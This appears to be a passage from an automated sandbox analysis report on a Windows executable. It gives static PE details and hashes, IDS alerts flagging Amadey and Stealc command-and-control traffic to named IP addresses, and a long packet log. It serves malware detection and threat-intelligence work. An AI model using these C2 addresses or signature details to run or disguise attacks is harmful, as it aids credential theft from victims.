SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.435222129844127
Encrypted:	false
SSDEEP:	3072:fikXyPqO7UX1Hme9kZbs4Voc5zSnXqwQ2i6o:flyWFHrp4Voc5zSnawQ8o
MD5:	C6F8913D419848976A68A24D9757BF03
SHA1:	3CE2A2D60CF5ADC6CD1EDD81F760B4BB06A18F8F
SHA-256:	75CA6ABD690970DE677E6835D2B80E972E8F5F10F4462919840370AA8361EA0B
SHA-512:	CFF906DB40EC82FF8F450A7B622ECD70508381AA52A7D414BA1B88290CFDDE204D62B4CF7FE2EF519EAB7DA30D741BE5A98CE0779AE52389839716FA188D9E10
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946454334083652
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'787'392 bytes
MD5:	447b432c2a27e71e1053da4d6d520222
SHA1:	f5207f5b7b143c1fe2b4edb985efb23d85dcb884
SHA256:	b21584b91faf4acb978bd265e2f827d631017f328eb49b311f156f6ba008bd83
SHA512:	bfbb1bc1379a4ca187be7ef79f02c1720cce3472c5880e454a1b08efcc594dcaa28bbfc7f8ea07a47f32d1b6578c2fc3265a376590a6104ae60cb96e815ec7b9
SSDEEP:	49152:TsqQXcq7cs07ezIdJupoh+sovtV1BXhifBQ+dXvLLbGdPmn:Ves7eEjupohb+tVXKXvTWa
TLSH:	678533AB1C6440E3FC7D063DEAEF9659EB546F72B8B5166F4B8CCA40D19B880C730598
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa8c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F49C110047Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	b7dabcb0cd7c95ee5de8406d67f98e19	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	7e2322134228791b012e92ccef5ad236	False	0.794921875	data	6.0565672353999505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a4000	0x200	a7d05ee01cc8a2ba36ac79fdb8939da4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dsxuiljp	0x4f0000	0x19b000	0x19a800	7261cb3ae48aa05b48c1665e12da6128	False	0.9947752122031059	data	7.9543105319243335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oscjiabv	0x68b000	0x1000	0x400	8c28b4f7882c94a146193bd44e9dcdd1	False	0.7890625	data	6.209281100323997	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68c000	0x3000	0x2200	b7412aadc4bab854fa064858ae4b3670	False	0.07904411764705882	DOS executable (COM)	0.8889712305089247	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68a5a4	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T17:44:08.998023+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49906	TCP
2024-11-23T17:44:11.321830+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-23T17:44:11.993525+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-23T17:44:12.117520+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-23T17:44:12.619990+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-23T17:44:12.748004+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-23T17:44:14.274349+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-23T17:44:15.003389+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-23T17:44:30.829057+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:32.851939+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:34.233136+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:35.397511+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:39.128951+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:40.505219+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:46.706186+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.16	80	TCP
2024-11-23T17:46:04.988383+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49898	185.215.113.43	80	TCP
2024-11-23T17:46:09.558035+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49910	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 17:44:08.998023033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:09.124809027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:09.125003099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:09.125351906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:09.245189905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:09.721667051 CET	49675	443	192.168.2.4	173.222.162.32
Nov 23, 2024 17:44:10.798162937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:10.798263073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:10.802416086 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:10.928868055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:11.321757078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:11.321830034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:11.330554962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:11.450233936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:11.993429899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:11.993491888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:11.993525028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:11.993557930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:11.995445967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:12.117520094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:12.619663954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:12.619739056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:12.619764090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:12.619782925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:12.619800091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:12.619821072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:12.619990110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:12.621690989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:12.748003960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:13.159033060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:13.159102917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:13.181189060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:13.181231022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:13.303248882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:13.303288937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:13.303340912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:13.303369045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:13.303529978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:13.303559065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:14.274283886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:14.274348974 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:14.533968925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:14.660736084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.003240108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.003277063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.003388882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.003443956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.007370949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.007451057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.007478952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.007541895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.015742064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.015826941 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.015887976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.015943050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.024209976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.024300098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.024339914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.024393082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.032643080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.032713890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.032876015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.032933950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.041085958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.041152954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.041207075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.041277885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.049489021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.049597979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.049608946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.049655914 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.057883978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.057955980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.058006048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.058072090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.066529989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.066582918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.066623926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.066675901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.133829117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.133894920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.133924961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.133975983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.136261940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.136331081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.136343956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.136380911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.213685036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.213727951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.213776112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.213800907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.218127966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.218166113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.218194008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.218216896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.224365950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.224426985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.224478006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.224539042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.232781887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.232846022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.232881069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.232927084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.248529911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.248606920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.250699043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.250715971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.250767946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.250792027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.258898020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.258972883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.259116888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.259171963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.267414093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.267523050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.267549992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.267576933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.275897026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.275984049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.276022911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.276077986 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.281384945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.281460047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.281471014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.281523943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.286317110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.286386013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.286571026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.286628962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.291301012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.291363955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.291577101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.291629076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.296288013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.296355009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.296391010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.296438932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.301351070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.301408052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.301476955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.301525116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.306332111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.306394100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.306509972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.306567907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.311338902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.311408043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.311438084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.311491013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.316354036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.316404104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.316457033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.316490889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.336201906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.336314917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.336314917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.336371899 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.338692904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.338783026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.347907066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.347992897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.348067999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.348121881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.350244045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.350303888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.350356102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.350419998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.355268955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.355344057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.425872087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.425998926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.426011086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.426071882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.428392887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.428447962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.428450108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.428502083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.433394909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.433455944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.433573961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.433629990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.438405991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.438486099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.438644886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.438704014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.443389893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.443455935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.443483114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.443547964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.448419094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.448472977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.448499918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.448529005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.453382015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.453448057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.453510046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.453569889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.458400965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.458466053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.458507061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.458553076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.463391066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.463453054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.463480949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.463530064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.468455076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.468574047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.468610048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.468666077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.473433018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.473522902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.473551035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.473603010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:15.477755070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:15.477819920 CET	49730	80	192.168.2.4	185.215.113.206
